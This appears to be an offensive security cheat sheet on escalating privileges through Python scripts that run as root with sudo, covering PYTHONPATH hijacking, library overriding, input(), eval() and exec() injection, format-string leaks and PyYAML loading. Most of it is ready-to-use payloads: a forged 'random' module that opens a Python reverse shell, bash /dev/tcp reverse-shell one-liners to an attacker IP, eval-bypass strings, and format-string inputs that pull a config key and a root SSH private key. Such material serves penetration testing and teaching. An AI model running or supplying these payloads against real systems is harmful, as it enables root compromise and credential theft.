Python scripting is a powerful tool used by system administrators and developers to automate tasks and streamline processes on Unix-like systems. However, like any software, python scripts can be vulnerable to various security issues, which, if exploited, can lead to privilege escalation and unauthorized access.
Practice
PythonPath Hijacking
Assume the python script can be executed as root with sudo rights and SETENV.
With SETENV, we can change PYTHONPATH when executing the script, and insert malicious script to the module which is imported in the script.
First, we can check what module is imported in the python script (e.g. /opt/scripts/example.py here).
import random
print(random.randint(1, 8))
We can forge the imported module
$ cat /tmp/random.py
import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",9001));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
Then run the python script with updating PYTHONPATH in the remote machine.
By setting PYTHONPATH=/tmp/, the python script will import modules from /tmp/ directories so the "random" module is imported from /tmp/random.py.
Python Library Overriding
Assume the python script can be executed as root with sudo rights. If the Python script contains a module that can be modified by current user, we can inject arbitrary code into the module.
Assume the python script can be executed as root with sudo rights. If we can write on the folder containing the script, then python will prioritize the execution of this module instead of the usual path
Assume the python script use python2.x and can be executed as root with sudo rights. If it use the input function and we controll its input, then the script is vulnerable to arbitrary code execution. the input() function is equivalent to eval(raw_input).
Check if we have control over the input of the vulnerable function
compute = input('\nYour expression? => ')
We can enter an OS commands in the input function
$ sudo /usr/bin/python3 /opt/scripts/example.py
Enter Your expression? => __import__('os').system('id')
#or
Enter Your expression? => __import__('os').system('bash -c "bash -i >& /dev/tcp/<ATTACKING_IP>/9001 0>&1"')
OS Commands in Eval() and Exec()
Assume the python script can be executed as root with sudo rights. If it use the eval() or exec() method and we controll its input, then the script is vulnerable to arbitrary code execution.
Check if we have control over the input of a vulnerable function
#With eval
eval(text)
eval(f"5 + {num}")
print ("Result =", eval(comp))
#With exec
code = input('What command(s) in python did you learn today?')
exec(code)
If we controll some variables passed to this vulnerables functions, we can inject arbitrary code.
$ sudo /usr/bin/python3 /opt/scripts/example.py
__import__('os').system('id')
#Bypass another expression in eval
),__import__('os').system('id')
'),__import__('os').system('id')
},__import__('os').system('id')
),__import__('os').system('id')#
#Example of a ReverseShell
__import__('os').system('bash -c "bash -i >& /dev/tcp/<ATTACKING_IP>/9001 0>&1"')
Format String Exploit
The str.format() string method was introduced in Python 3 was later also added to Python 2.7. It allows multiple substitutions and value formatting. Vulnerability comes when our Python app uses str.format() in the user-controlled string. This vulnerability may lead attackers to get access to sensitive information.
Here is an example of a vulnerable code:
# Let us assume this CONFIG & SECRET holds some sensitive information
CONFIG = {
"KEY": "ASXFYFGK78989"
}
SECRET = [line.strip() for line in open("/root/.ssh/id_rsa")]
class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname
def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)
# Driver Code
people = PeopleInfo('GEEKS', 'FORGEEKS')
# case 1: st obtained from user
st = input()
res = get_name_for_avatar(st, people_obj = people)
print(res)
To extract sensitive informations we can give the following strings as input:
$ sudo /usr/bin/python3 /opt/scripts/example.py
#We can extract the Config key with the following input
{people_obj.__init__.__globals__[CONFIG][KEY]}
#Output
ASXFYFGK78989
#We can extract the SSH key with the following input
SECRET_{people_obj.__init__.__globals__[SECRET]}_SECRET
#Output
SECRET_['-----BEGIN OPENSSH PRIVATE KEY-----', 'b3BlbnNzaC1rZXk'[...]]_SECRET
#Or we can try with the "self" variable (won't work here)
{self.__init__.__globals__[CONFIG][KEY]}
PyYaml Code Execution
Assume the python script can be executed as root with sudo rights. If it use the yaml.load() method and we controll its input, then the script is vulnerable to arbitrary code execution.
Since PyYaml version 6.0, the default loader for load has been switched to SafeLoader mitigating the risks against Remote Code Execution. The vulnerable sinks are now yaml.unsafe_load and yaml.load(input, Loader=yaml.UnsafeLoader)
